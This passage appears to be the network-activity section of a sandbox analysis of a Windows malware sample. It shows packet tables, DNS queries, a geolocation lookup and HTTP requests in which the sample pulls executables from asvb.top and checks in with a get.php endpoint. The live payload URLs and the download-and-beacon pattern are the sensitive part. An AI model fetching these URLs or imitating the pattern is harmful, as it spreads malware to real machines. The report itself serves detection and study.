Oct 27, 2024 18:31:16.758136034 CET	49739	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:16.761625051 CET	80	49736	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:16.763533115 CET	80	49739	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:16.763633013 CET	49739	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:16.765985012 CET	49739	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:16.771302938 CET	80	49739	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:17.322596073 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.322839022 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.327037096 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.327049017 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.327367067 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.327425957 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.329248905 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.371329069 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.809874058 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.809962034 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.809979916 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.810024977 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.810031891 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.810064077 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.810106039 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.810255051 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:17.810276031 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.810305119 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.811368942 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:17.811388016 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:19.450162888 CET	49740	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:19.455940962 CET	80	49740	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:19.456015110 CET	49740	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:19.456172943 CET	49740	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:19.461545944 CET	80	49740	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:20.552184105 CET	80	49740	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:20.552324057 CET	49740	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:20.552324057 CET	49740	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:20.557795048 CET	80	49740	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:20.887613058 CET	49743	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:20.893039942 CET	80	49743	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:20.893166065 CET	49743	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:20.893611908 CET	49743	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:20.898945093 CET	80	49743	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:24.750654936 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:24.750761986 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:24.750837088 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:24.758410931 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:24.758452892 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:25.430908918 CET	80	49739	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:25.431010962 CET	49739	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.431066036 CET	49739	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.431705952 CET	49749	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.436511040 CET	80	49739	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:25.437161922 CET	80	49749	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:25.437685013 CET	49749	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.437894106 CET	49749	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.443262100 CET	80	49749	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:25.559236050 CET	49750	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.565089941 CET	80	49750	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:25.565179110 CET	49750	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.565323114 CET	49750	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:25.569067955 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:25.569175005 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:25.570669889 CET	80	49750	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:25.580504894 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:25.580535889 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:25.580826044 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:25.580888033 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:25.582257986 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:25.623366117 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:26.067804098 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:26.067913055 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:26.067979097 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:26.068202019 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:26.068272114 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:26.068743944 CET	49748	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:26.068778038 CET	443	49748	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:26.690277100 CET	80	49750	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:26.690346956 CET	49750	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.690433025 CET	49750	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.691350937 CET	80	49749	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:26.691425085 CET	49749	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.691648006 CET	49749	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.693341970 CET	49751	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.695780993 CET	80	49750	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:26.696976900 CET	80	49749	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:26.698721886 CET	80	49751	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:26.698800087 CET	49751	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.698915958 CET	49751	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:26.704237938 CET	80	49751	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:29.388009071 CET	80	49743	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:29.388170958 CET	49743	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:29.388170958 CET	49743	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:29.393503904 CET	80	49743	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:34.387636900 CET	49752	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.394047976 CET	80	49752	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:34.396981955 CET	49752	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.399662971 CET	49752	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.405021906 CET	80	49752	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:34.764955044 CET	49751	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.767205954 CET	49753	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.772521019 CET	80	49753	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:34.774935007 CET	49753	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.783931971 CET	49753	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:34.789262056 CET	80	49753	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:35.970498085 CET	80	49752	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:35.971028090 CET	49752	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:36.097965002 CET	49752	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:36.103543997 CET	80	49752	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:39.095746040 CET	80	49753	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:39.095837116 CET	49753	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:39.095886946 CET	49753	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:39.101309061 CET	80	49753	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:41.155679941 CET	49754	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:41.161272049 CET	80	49754	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:41.161374092 CET	49754	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:41.161556959 CET	49754	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:41.166874886 CET	80	49754	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:45.223750114 CET	80	49754	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:45.223815918 CET	49754	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:45.226109982 CET	49754	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:45.231416941 CET	80	49754	92.246.89.93	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 18:31:03.356030941 CET	54933	53	192.168.2.4	1.1.1.1
Oct 27, 2024 18:31:03.367996931 CET	53	54933	1.1.1.1	192.168.2.4
Oct 27, 2024 18:31:06.921794891 CET	64040	53	192.168.2.4	1.1.1.1
Oct 27, 2024 18:31:07.103727102 CET	53	64040	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 18:31:03.356030941 CET	192.168.2.4	1.1.1.1	0x8989	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:31:06.921794891 CET	192.168.2.4	1.1.1.1	0xdb03	Standard query (0)	asvb.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 18:31:03.367996931 CET	1.1.1.1	192.168.2.4	0x8989	No error (0)	api.2ip.ua	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:31:03.367996931 CET	1.1.1.1	192.168.2.4	0x8989	No error (0)	api.2ip.ua	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:31:07.103727102 CET	1.1.1.1	192.168.2.4	0xdb03	No error (0)	asvb.top	92.246.89.93	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

asvb.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:07.109970093 CET	103	OUT	GET /files/penelop/updatewin1.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:07.110027075 CET	143	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	92.246.89.93	80	2120	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:07.399774075 CET	132	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:08.274286985 CET	103	OUT	GET /files/penelop/updatewin2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:13.268273115 CET	143	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:16.765985012 CET	102	OUT	GET /files/penelop/updatewin.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:19.456172943 CET	143	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	92.246.89.93	80	2120	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:20.893611908 CET	132	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:25.437894106 CET	94	OUT	GET /files/penelop/3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:25.565323114 CET	143	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:26.698915958 CET	94	OUT	GET /files/penelop/4.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	92.246.89.93	80	2120	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:34.399662971 CET	132	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	92.246.89.93	80	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:34.783931971 CET	94	OUT	GET /files/penelop/5.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	92.246.89.93	80	2120	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:31:41.161556959 CET	132	OUT	GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: asvb.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	6884	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:31:04 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-10-27 17:31:04 UTC	1081	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:31:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fnOhq6%2FChVoFKz5sp%2Fexasnz1F02hHkqKWAADpmckWcN%2FuquvTixMJ2RU7%2BRPzzO5G00FYCph7rkP1ugmeTukpQY6syvsyD%2FaNRbX6jol7Agmk2mA6HRqoUNbSHS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d946ae73d17359a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1220&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=723&delivery_rate=2197268&cwnd=251&unsent_bytes=0&cid=a64450a19f7b54fe&ts=593&x=0"
2024-10-27 17:31:04 UTC	288	IN	Data Raw: 31 36 66 0d 0a 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c Data Ascii: 16f{"ip":"173.254.250.90","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Texas","region_rus":"\u0422\u0435\u0445\u0430\u0441","region_ua":"\u0422\u0435\u0445\u0430\
2024-10-27 17:31:04 UTC	86	IN	Data Raw: 3a 22 5c 75 30 34 31 34 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 62 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 33 32 2e 38 31 34 39 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 39 36 2e 38 37 39 32 22 7d 0d 0a Data Ascii: :"\u0414\u0430\u043b\u043b\u0430\u0441","latitude":"32.8149","longitude":"-96.8792"}
2024-10-27 17:31:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	1072	C:\Users\user\Desktop\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:31:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-10-27 17:31:06 UTC	1075	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:31:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OnplYb6IBiNSgAW3lLal%2FQcb6N17VOesp2xnu7GU00KsQaoDTXy5oJV69WWPoywezXLSH1NAl3G5g8yUgGSj527I35Yf7vT8sUmVjS%2FM91fBq4JHWOV6yLP2lsmx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d946af54e4b6bae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1093&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=723&delivery_rate=2535901&cwnd=251&unsent_bytes=0&cid=23e8b3d71f3225ff&ts=498&x=0"
2024-10-27 17:31:06 UTC	294	IN	Data Raw: 31 36 66 0d 0a 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c Data Ascii: 16f{"ip":"173.254.250.90","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Texas","region_rus":"\u0422\u0435\u0445\u0430\u0441","region_ua":"\u0422\u0435\u0445\u0430\
2024-10-27 17:31:06 UTC	80	IN	Data Raw: 31 34 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 62 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 33 32 2e 38 31 34 39 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 39 36 2e 38 37 39 32 22 7d 0d 0a Data Ascii: 14\u0430\u043b\u043b\u0430\u0441","latitude":"32.8149","longitude":"-96.8792"}
2024-10-27 17:31:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	2120	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:31:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-10-27 17:31:07 UTC	1077	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:31:07 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ux7T9eqyUnI9EpgiBkggxnqplWGxQkbUW9cS6UKy%2BnMJPD4gYitLZT27GnntDwqIbpGrpJD98HUgLNtBSCSm2jYGnRTFZ7oUHp5X862Ze2MRe8%2FGhkd%2B8MGJkL5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d946af8188745f6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1205&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=723&delivery_rate=2445945&cwnd=236&unsent_bytes=0&cid=447fd92dc07f9e84&ts=513&x=0"
2024-10-27 17:31:07 UTC	292	IN	Data Raw: 31 36 66 0d 0a 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c Data Ascii: 16f{"ip":"173.254.250.90","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Texas","region_rus":"\u0422\u0435\u0445\u0430\u0441","region_ua":"\u0422\u0435\u0445\u0430\
2024-10-27 17:31:07 UTC	82	IN	Data Raw: 30 34 31 34 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 62 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 33 32 2e 38 31 34 39 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 39 36 2e 38 37 39 32 22 7d 0d 0a Data Ascii: 0414\u0430\u043b\u043b\u0430\u0441","latitude":"32.8149","longitude":"-96.8792"}
2024-10-27 17:31:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	188.114.96.3	443	5652	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:31:17 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
